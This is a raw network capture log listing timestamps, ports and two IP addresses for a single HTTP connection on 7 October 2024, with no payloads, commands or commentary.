Oct 7, 2024 18:43:38.340123892 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.340125084 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.340146065 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.340169907 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.340179920 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.340189934 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.340193033 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.340205908 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.340212107 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.340256929 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.421031952 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.421112061 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.421139956 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.421158075 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.421175957 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.421186924 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.421196938 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.421197891 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.421197891 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.421209097 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.421220064 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.421227932 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.421227932 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.421230078 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.421240091 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.421252012 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.421262026 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.421284914 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.421350002 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.421360970 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.421372890 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.421389103 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.421392918 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.421400070 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.421411991 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.421422958 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.421427011 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.421432018 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.421442986 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.421446085 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.421452999 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.421463966 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.421475887 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.421494961 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.421526909 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.421535969 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.421545982 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.421555996 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.421565056 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.421569109 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.421581030 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.421587944 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.421591043 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.421601057 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.421603918 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.421612024 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.421622038 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.421627998 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.421633005 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.421643972 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.421654940 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.421673059 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.421694040 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.421813965 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.421824932 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.421835899 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.421857119 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.421873093 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.421906948 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.421917915 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.421927929 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.421938896 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.421947956 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.421952963 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.421958923 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.421967030 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.421974897 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.421977997 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.422005892 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.422025919 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.422058105 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.422102928 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.422183037 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.422194004 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.422199011 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.422204971 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.422209978 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.422214985 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.422225952 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.422290087 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.422302008 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.422312021 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.422312975 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.422323942 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.422336102 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.422347069 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.422358990 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.422377110 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.422981977 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.422992945 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.423003912 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.423013926 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.423023939 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.423029900 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.423034906 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.423046112 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.423053026 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.423055887 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.423065901 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.423070908 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.423079014 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.423089027 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.423090935 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.423099041 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.423110962 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.423115015 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.423126936 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.423132896 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.423137903 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.423146009 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.423147917 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.423158884 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.423168898 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.423178911 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.423180103 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.423192024 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.423202991 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.423211098 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.423216105 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.423223019 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.423233032 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.423234940 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.423243046 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.423254013 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.423255920 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.423264980 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.423270941 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.423295975 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.423316002 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.423466921 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.423477888 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.423487902 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.423502922 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.423512936 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.423513889 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.423526049 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.423536062 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.423542023 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.423547029 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.423557997 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.423558950 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.423580885 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.423589945 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.423599005 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.423626900 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.423649073 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.423660994 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.423682928 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.423697948 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.423727989 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.423738956 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.423749924 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.423760891 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.423777103 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.423779011 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.423793077 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.423805952 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.423824072 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.423913956 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.423926115 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.423935890 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.423945904 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.423954964 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.423958063 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.423973083 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.423978090 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.423985004 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.423989058 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.423995018 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.424005985 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.424015045 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.424025059 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.424032927 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.424040079 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.424041986 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.424047947 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.424058914 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.424120903 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.505620003 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.505635977 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.505647898 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.505660057 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.505675077 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.505686045 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.505690098 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.505697012 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.505708933 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.505717039 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.505752087 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.505804062 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.505812883 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.505824089 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.505835056 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.505844116 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.505848885 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.505855083 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.505865097 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.505875111 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.505878925 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.505884886 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.505908966 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.505928040 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.506083965 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.506102085 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.506113052 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.506123066 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.506125927 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.506133080 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.506144047 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.506144047 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.506155014 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.506164074 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.506175041 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.506185055 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.506196022 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.506196022 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.506196976 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.506216049 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.506232023 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.506273031 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.506278992 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.506284952 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.506294966 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.506305933 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.506313086 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.506316900 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.506329060 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.506341934 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.506366968 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.506391048 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.506402016 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.506412983 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.506422997 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.506428003 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.506433964 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.506443977 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.506453991 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.506455898 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.506464958 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.506474972 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.506481886 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.506484985 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.506496906 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.506506920 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.506536961 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.506773949 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.506968975 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.506975889 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.506983995 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.506999969 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.507010937 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.507014990 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.507020950 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.507031918 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.507033110 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.507041931 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.507051945 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.507055998 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.507062912 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.507072926 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.507076025 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.507083893 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.507092953 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.507093906 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.507108927 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.507113934 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.507119894 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.507128954 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.507134914 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.507138968 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.507148027 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.507152081 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.507157087 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.507172108 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.507184029 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.507184982 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.507195950 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.507199049 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.507205963 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.507216930 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.507225990 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.507225990 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.507236958 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.507247925 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.507257938 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.507258892 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.507268906 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.507272005 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.507277966 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.507287025 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.507297993 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.507298946 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.507313967 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.507323027 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.507323980 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.507333040 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.507340908 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.507343054 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.507353067 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.507363081 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.507368088 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.507374048 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.507390022 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.507400990 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.507411957 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.507499933 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.507514000 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.507524014 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.507534027 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.507544994 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.507555008 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.507555962 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.507565022 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.507576942 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.507577896 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.507589102 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.507594109 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.507618904 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.507694006 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.507867098 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.507877111 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.507888079 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.507898092 CEST	80	51632	95.164.90.97	192.168.2.4
